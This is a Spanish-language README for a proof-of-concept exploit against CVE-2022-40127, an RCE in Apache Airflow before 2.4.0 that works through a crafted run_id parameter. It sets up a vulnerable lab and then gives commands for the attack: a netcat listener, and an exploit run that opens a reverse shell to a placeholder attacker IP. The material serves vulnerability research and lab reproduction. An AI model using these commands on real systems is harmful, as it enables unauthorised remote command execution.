
Exploit de prueba de concepto para CVE-2022-40127 dirigido a RCE en Apache Airflow mediante un parámetro run_id manipulado, con entrega automatizada de reverse shell.
PoC para CVE-2022-40127 que es una vulnerabilidad de RCE en Apache Airflow que afecta a versiones anteriores a la 2.4.0.
La descripción del informe oficial dice:
Una vulnerabilidad en los DAGs de ejemplo de Apache Airflow permite que un atacante con acceso a la interfaz de usuario que pueda activar DAGs, ejecute comandos arbitrarios a través del parámetro run_id proporcionado manualmente. Este problema afecta a Apache Airflow versiones anteriores a la 2.4.0.
El repositorio se creó para una publicación de blog de análisis de CVE disponible en vsociety blog.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Puedes clonar el repositorio:
git clone https://github.com/jakabakos/CVE-2022-40127.git
Descarga el archivo docker-compose del repositorio oficial
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Ejecutar Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
En este caso, tanto el nombre de usuario como la contraseña serán airflow.
Basado en las instrucciones oficiales de instalación:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Puedes verificar si la instalación fue exitosa con los comandos which airflow y/o airflow info.
Ejecutar Airflow
airflow standalone
Consulta la contraseña y el nombre de usuario generados en los registros.
Primero, instala los paquetes requeridos con pip:
pip3 install -r requirements.txt
Consulta las opciones posibles con:
python3 exploit.py --help
Puedes comprobar si el host puede ser explotado o no:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Configura un listener local para la reverse shell en una sesión de terminal diferente:
nc -lvnp 4242
Ejecuta el script en modo ataque con este comando:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Deberías ver la conexión en aproximadamente un minuto.
